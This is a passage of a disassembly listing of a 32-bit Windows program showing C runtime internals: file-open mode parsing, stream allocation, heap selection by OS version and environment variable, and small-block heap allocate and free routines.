		jmp	short loc_41A6AD
; ---------------------------------------------------------------------------

loc_41A6A5:				; CODE XREF: sub_41A66C+1Dj
		mov	ecx, 109h

loc_41A6AA:				; CODE XREF: sub_41A66C+30j
		or	esi, 2

loc_41A6AD:				; CODE XREF: sub_41A66C+37j
		push	1
		pop	edx

loc_41A6B0:				; CODE XREF: sub_41A66C+8Bj
					; sub_41A66C+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41A79F
		cmp	edx, ebx
		jz	loc_41A79F
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41A73E
		jz	short loc_41A72E
		sub	eax, 2Bh
		jz	short loc_41A718
		sub	eax, 19h
		jz	short loc_41A70E
		sub	eax, 0Eh
		jz	short loc_41A6F9
		dec	eax
		jnz	loc_41A790
		cmp	[ebp+var_4], ebx
		jnz	loc_41A790
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41A6B0
; ---------------------------------------------------------------------------

loc_41A6F9:				; CODE XREF: sub_41A66C+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41A790
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41A6B0
; ---------------------------------------------------------------------------

loc_41A70E:				; CODE XREF: sub_41A66C+6Aj
		test	cl, 40h
		jnz	short loc_41A790
		or	ecx, 40h
		jmp	short loc_41A6B0
; ---------------------------------------------------------------------------

loc_41A718:				; CODE XREF: sub_41A66C+65j
		test	cl, 2
		jnz	short loc_41A790
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41A6B0
; ---------------------------------------------------------------------------

loc_41A72E:				; CODE XREF: sub_41A66C+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41A790
		or	ecx, eax
		jmp	loc_41A6B0
; ---------------------------------------------------------------------------

loc_41A73E:				; CODE XREF: sub_41A66C+5Ej
		sub	eax, 62h
		jz	short loc_41A78B
		dec	eax
		jz	short loc_41A774
		sub	eax, 0Bh
		jz	short loc_41A75D
		sub	eax, 6
		jnz	short loc_41A790
		test	ch, 0C0h
		jnz	short loc_41A790
		or	ch, 40h
		jmp	loc_41A6B0
; ---------------------------------------------------------------------------

loc_41A75D:				; CODE XREF: sub_41A66C+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41A790
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41A6B0
; ---------------------------------------------------------------------------

loc_41A774:				; CODE XREF: sub_41A66C+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41A790
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41A6B0
; ---------------------------------------------------------------------------

loc_41A78B:				; CODE XREF: sub_41A66C+D5j
		test	ch, 0C0h
		jz	short loc_41A797

loc_41A790:				; CODE XREF: sub_41A66C+72j
					; sub_41A66C+7Bj ...
		xor	edx, edx
		jmp	loc_41A6B0
; ---------------------------------------------------------------------------

loc_41A797:				; CODE XREF: sub_41A66C+122j
		or	ch, 80h
		jmp	loc_41A6B0
; ---------------------------------------------------------------------------

loc_41A79F:				; CODE XREF: sub_41A66C+4Aj
					; sub_41A66C+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FBF2
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41A7BD

loc_41A7B9:				; CODE XREF: sub_41A66C+25j
		xor	eax, eax
		jmp	short loc_41A7D7
; ---------------------------------------------------------------------------

loc_41A7BD:				; CODE XREF: sub_41A66C+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_489670
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx

loc_41A7D7:				; CODE XREF: sub_41A66C+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A66C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A7DC	proc near		; CODE XREF: sub_417688p
		mov	edx, dword_48A7C0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41A84D
		mov	ebx, dword_4897A8
		mov	edi, ebx

loc_41A7F8:				; CODE XREF: sub_41A7DC+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41A813
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41A80E
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41A7F8
		jmp	short loc_41A84D
; ---------------------------------------------------------------------------

loc_41A80E:				; CODE XREF: sub_41A7DC+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41A837
; ---------------------------------------------------------------------------

loc_41A813:				; CODE XREF: sub_41A7DC+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_417889
		pop	ecx
		mov	ecx, dword_4897A8
		mov	[edi+ecx], eax
		mov	eax, dword_4897A8
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41A84D
		mov	esi, edi

loc_41A837:				; CODE XREF: sub_41A7DC+35j
		cmp	esi, ebp
		jz	short loc_41A84D
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp

loc_41A84D:				; CODE XREF: sub_41A7DC+12j
					; sub_41A7DC+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A7DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A854	proc near		; CODE XREF: sub_41789B+1Fp
					; sub_41914F+126p ...

arg_0		= dword	ptr  4

		mov	eax, dword_489510
		test	eax, eax
		jz	short loc_41A86C
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41A86C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41A86C:				; CODE XREF: sub_41A854+7j
					; sub_41A854+12j
		xor	eax, eax
		retn
sub_41A854	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A86F	proc near		; CODE XREF: sub_41A89C+136p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	dword_423100	; GetModuleHandleA
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41A89A
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41A89A
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al

loc_41A89A:				; CODE XREF: sub_41A86F+15j
					; sub_41A86F+1Cj
		pop	esi
		retn
sub_41A86F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A89C	proc near		; CODE XREF: sub_41A9E4+20p

var_122C	= byte ptr -122Ch
var_19C		= byte ptr -19Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_417830
		lea	eax, [ebp+var_98]
		push	ebx
		push	eax
		mov	[ebp+var_98], 94h
		call	dword_423144	; GetVersionExA
		test	eax, eax
		jz	short loc_41A8DF
		cmp	[ebp+var_88], 2
		jnz	short loc_41A8DF
		cmp	[ebp+var_94], 5
		jb	short loc_41A8DF
		push	1
		pop	eax
		jmp	loc_41A9E1
; ---------------------------------------------------------------------------

loc_41A8DF:				; CODE XREF: sub_41A89C+27j
					; sub_41A89C+30j ...
		lea	eax, [ebp+var_122C]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	dword_4231A4	; GetEnvironmentVariableA
		test	eax, eax
		jz	loc_41A9CE
		xor	ebx, ebx
		lea	ecx, [ebp+var_122C]
		cmp	[ebp+var_122C],	bl
		jz	short loc_41A921

loc_41A90E:				; CODE XREF: sub_41A89C+83j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41A91C
		cmp	al, 7Ah
		jg	short loc_41A91C
		sub	al, 20h
		mov	[ecx], al

loc_41A91C:				; CODE XREF: sub_41A89C+76j
					; sub_41A89C+7Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41A90E

loc_41A921:				; CODE XREF: sub_41A89C+70j
		lea	eax, [ebp+var_122C]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_418AA0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41A943
		lea	eax, [ebp+var_122C]
		jmp	short loc_41A98C
; ---------------------------------------------------------------------------

loc_41A943:				; CODE XREF: sub_41A89C+9Dj
		lea	eax, [ebp+var_19C]
		push	104h
		push	eax
		push	ebx
		call	dword_423094	; GetModuleFileNameA
		cmp	[ebp+var_19C], bl
		lea	ecx, [ebp+var_19C]
		jz	short loc_41A977

loc_41A964:				; CODE XREF: sub_41A89C+D9j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41A972
		cmp	al, 7Ah
		jg	short loc_41A972
		sub	al, 20h
		mov	[ecx], al

loc_41A972:				; CODE XREF: sub_41A89C+CCj
					; sub_41A89C+D0j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41A964

loc_41A977:				; CODE XREF: sub_41A89C+C6j
		lea	eax, [ebp+var_19C]
		push	eax
		lea	eax, [ebp+var_122C]
		push	eax
		call	sub_417580
		pop	ecx
		pop	ecx

loc_41A98C:				; CODE XREF: sub_41A89C+A5j
		cmp	eax, ebx
		jz	short loc_41A9CE
		push	2Ch
		push	eax
		call	sub_418C50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41A9CE
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41A9B3

loc_41A9A5:				; CODE XREF: sub_41A89C+115j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41A9AE
		mov	[ecx], bl
		jmp	short loc_41A9AF
; ---------------------------------------------------------------------------

loc_41A9AE:				; CODE XREF: sub_41A89C+10Cj
		inc	ecx

loc_41A9AF:				; CODE XREF: sub_41A89C+110j
		cmp	[ecx], bl
		jnz	short loc_41A9A5

loc_41A9B3:				; CODE XREF: sub_41A89C+107j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41851C
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41A9E1
		cmp	eax, 3
		jz	short loc_41A9E1
		cmp	eax, 1
		jz	short loc_41A9E1

loc_41A9CE:				; CODE XREF: sub_41A89C+5Cj
					; sub_41A89C+F2j ...
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41A86F
		cmp	[ebp+var_4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3

loc_41A9E1:				; CODE XREF: sub_41A89C+3Ej
					; sub_41A89C+126j ...
		pop	ebx
		leave
		retn
sub_41A89C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A9E4	proc near		; CODE XREF: sub_4198E4+5Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_4231AC	; HeapCreate
		test	eax, eax
		mov	dword_48AB24, eax
		jz	short loc_41AA3A
		call	sub_41A89C
		cmp	eax, 3
		mov	dword_48AB28, eax
		jnz	short loc_41AA20
		push	3F8h
		call	sub_41AA41
		pop	ecx
		jmp	short loc_41AA2A
; ---------------------------------------------------------------------------

loc_41AA20:				; CODE XREF: sub_41A9E4+2Dj
		cmp	eax, 2
		jnz	short loc_41AA3D
		call	sub_41B588

loc_41AA2A:				; CODE XREF: sub_41A9E4+3Aj
		test	eax, eax
		jnz	short loc_41AA3D
		push	dword_48AB24
		call	dword_4231A8	; HeapDestroy

loc_41AA3A:				; CODE XREF: sub_41A9E4+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41AA3D:				; CODE XREF: sub_41A9E4+3Fj
					; sub_41A9E4+48j
		push	1
		pop	eax
		retn
sub_41A9E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA41	proc near		; CODE XREF: sub_41A9E4+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_48AB24
		call	dword_4230E8	; RtlAllocateHeap
		test	eax, eax
		mov	dword_48AB1C, eax
		jnz	short loc_41AA5E
		retn
; ---------------------------------------------------------------------------

loc_41AA5E:				; CODE XREF: sub_41AA41+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_48AB14, 0
		and	dword_48AB18, 0
		push	1
		mov	dword_48AB10, eax
		mov	dword_48AB20, ecx
		mov	dword_48AB08, 10h
		pop	eax
		retn
sub_41AA41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA89	proc near		; CODE XREF: sub_41793B+17p
					; sub_41914F+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_48AB18
		lea	ecx, [eax+eax*4]
		mov	eax, dword_48AB1C
		lea	ecx, [eax+ecx*4]

loc_41AA99:				; CODE XREF: sub_41AA89+26j
		cmp	eax, ecx
		jnb	short loc_41AAB1
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41AAB3
		add	eax, 14h
		jmp	short loc_41AA99
; ---------------------------------------------------------------------------

loc_41AAB1:				; CODE XREF: sub_41AA89+12j
		xor	eax, eax

locret_41AAB3:				; CODE XREF: sub_41AA89+21j
		retn
sub_41AA89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AAB4	proc near		; CODE XREF: sub_41793B+23p
					; sub_41914F+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41ADD8
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41AB8A
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AB18
		push	3Fh
		pop	edx

loc_41AB18:				; CODE XREF: sub_41AAB4+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41AB6C
		cmp	edx, 20h
		jnb	short loc_41AB43
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AB64
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41AB64
; ---------------------------------------------------------------------------

loc_41AB43:				; CODE XREF: sub_41AAB4+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AB64
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41AB64:				; CODE XREF: sub_41AAB4+86j
					; sub_41AAB4+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41AB6F
; ---------------------------------------------------------------------------

loc_41AB6C:				; CODE XREF: sub_41AAB4+6Aj
		mov	ecx, [ebp+var_4]

loc_41AB6F:				; CODE XREF: sub_41AAB4+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx

loc_41AB8A:				; CODE XREF: sub_41AAB4+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AB98
		push	3Fh
		pop	edx

loc_41AB98:				; CODE XREF: sub_41AAB4+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41AC3B
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41ABBD
		mov	ebx, esi

loc_41ABBD:				; CODE XREF: sub_41AAB4+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41ABCF
		mov	edx, esi

loc_41ABCF:				; CODE XREF: sub_41AAB4+117j
		cmp	ebx, edx
		jz	short loc_41AC36
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41AC1E
		cmp	ebx, 20h
		jnb	short loc_41ABFF
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41AC1E
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41AC1E
; ---------------------------------------------------------------------------

loc_41ABFF:				; CODE XREF: sub_41AAB4+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41AC1E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi

loc_41AC1E:				; CODE XREF: sub_41AAB4+128j
					; sub_41AAB4+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx

loc_41AC36:				; CODE XREF: sub_41AAB4+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41AC3E
; ---------------------------------------------------------------------------

loc_41AC3B:				; CODE XREF: sub_41AAB4+EDj
		mov	ebx, [ebp+arg_0]

loc_41AC3E:				; CODE XREF: sub_41AAB4+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41AC4C
		cmp	ebx, edx
		jz	loc_41ACCD

loc_41AC4C:				; CODE XREF: sub_41AAB4+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41ACCD
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41ACA4
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AC93
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41AC93:				; CODE XREF: sub_41AAB4+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41ACCD
; ---------------------------------------------------------------------------

loc_41ACA4:				; CODE XREF: sub_41AAB4+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41ACBA
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41ACBA:				; CODE XREF: sub_41AAB4+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx

loc_41ACCD:				; CODE XREF: sub_41AAB4+192j
					; sub_41AAB4+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41ADD8
		mov	eax, dword_48AB14
		test	eax, eax
		jz	loc_41ADCA
		mov	ecx, dword_48AB0C
		mov	esi, dword_4231B0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, dword_48AB0C
		mov	eax, dword_48AB14
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_48AB14
		mov	ecx, dword_48AB0C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_48AB14
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_48AB14
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41AD5B
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_48AB14

loc_41AD5B:				; CODE XREF: sub_41AAB4+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41ADCA
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, dword_48AB14
		push	dword ptr [eax+10h]
		push	0
		push	dword_48AB24
		call	dword_4230E4	; RtlFreeHeap
		mov	eax, dword_48AB18
		mov	edx, dword_48AB1C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_48AB14
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_417FC0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_48AB18
		cmp	eax, dword_48AB14
		jbe	short loc_41ADC0
		sub	[ebp+arg_0], 14h

loc_41ADC0:				; CODE XREF: sub_41AAB4+306j
		mov	eax, dword_48AB1C
		mov	dword_48AB10, eax

loc_41ADCA:				; CODE XREF: sub_41AAB4+234j
					; sub_41AAB4+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_48AB0C, edi
		mov	dword_48AB14, eax

loc_41ADD8:				; CODE XREF: sub_41AAB4+38j
					; sub_41AAB4+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AAB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADDD	proc near		; CODE XREF: sub_4178C7+18p
					; sub_41914F+77p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_48AB18
		mov	edx, dword_48AB1C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41AE1D
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41AE2D
; ---------------------------------------------------------------------------

loc_41AE1D:				; CODE XREF: sub_41ADDD+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax

loc_41AE2D:				; CODE XREF: sub_41ADDD+3Ej
		mov	eax, dword_48AB10
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41AE54

loc_41AE3B:				; CODE XREF: sub_41ADDD+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41AE54
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41AE3B

loc_41AE54:				; CODE XREF: sub_41ADDD+5Cj
					; sub_41ADDD+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41AED2
		mov	ebx, edx

loc_41AE5B:				; CODE XREF: sub_41ADDD+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41AE77
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41AE75
		add	ebx, 14h
		jmp	short loc_41AE5B
; ---------------------------------------------------------------------------

loc_41AE75:				; CODE XREF: sub_41ADDD+91j
		cmp	ebx, eax

loc_41AE77:				; CODE XREF: sub_41ADDD+83j
		jnz	short loc_41AED2

loc_41AE79:				; CODE XREF: sub_41ADDD+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41AE8F
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41AE8C
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41AE79
; ---------------------------------------------------------------------------

loc_41AE8C:				; CODE XREF: sub_41ADDD+A5j
		cmp	ebx, [ebp+var_4]

loc_41AE8F:				; CODE XREF: sub_41ADDD+9Fj
		jnz	short loc_41AEB7
		mov	ebx, edx

loc_41AE93:				; CODE XREF: sub_41ADDD+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41AEA7
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41AEA5
		add	ebx, 14h
		jmp	short loc_41AE93
; ---------------------------------------------------------------------------

loc_41AEA5:				; CODE XREF: sub_41ADDD+C1j
		cmp	ebx, eax

loc_41AEA7:				; CODE XREF: sub_41ADDD+BBj
		jnz	short loc_41AEB7
		call	sub_41B0E6
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41AECB

loc_41AEB7:				; CODE XREF: sub_41ADDD:loc_41AE8Fj
					; sub_41ADDD:loc_41AEA7j
		push	ebx
		call	sub_41B197
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41AED2

loc_41AECB:				; CODE XREF: sub_41ADDD+D8j
		xor	eax, eax
		jmp	loc_41B0E1
; ---------------------------------------------------------------------------

loc_41AED2:				; CODE XREF: sub_41ADDD+7Aj
					; sub_41ADDD:loc_41AE77j ...
		mov	dword_48AB10, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41AEF9
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41AF30

loc_41AEF9:				; CODE XREF: sub_41ADDD+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41AF2D

loc_41AF16:				; CODE XREF: sub_41ADDD+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41AF16

loc_41AF2D:				; CODE XREF: sub_41ADDD+137j
		mov	edx, [ebp+var_4]

loc_41AF30:				; CODE XREF: sub_41ADDD+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41AF59
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi

loc_41AF59:				; CODE XREF: sub_41ADDD+16Dj
					; sub_41ADDD+183j
		test	ecx, ecx
		jl	short loc_41AF62
		shl	ecx, 1
		inc	edi
		jmp	short loc_41AF59
; ---------------------------------------------------------------------------

loc_41AF62:				; CODE XREF: sub_41ADDD+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41AF7F
		push	3Fh
		pop	esi

loc_41AF7F:				; CODE XREF: sub_41ADDD+19Dj
		cmp	esi, edi
		jz	loc_41B094
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41AFF0
		cmp	edi, 20h
		jge	short loc_41AFBF
		mov	ebx, 80000000h
		mov	ecx, edi
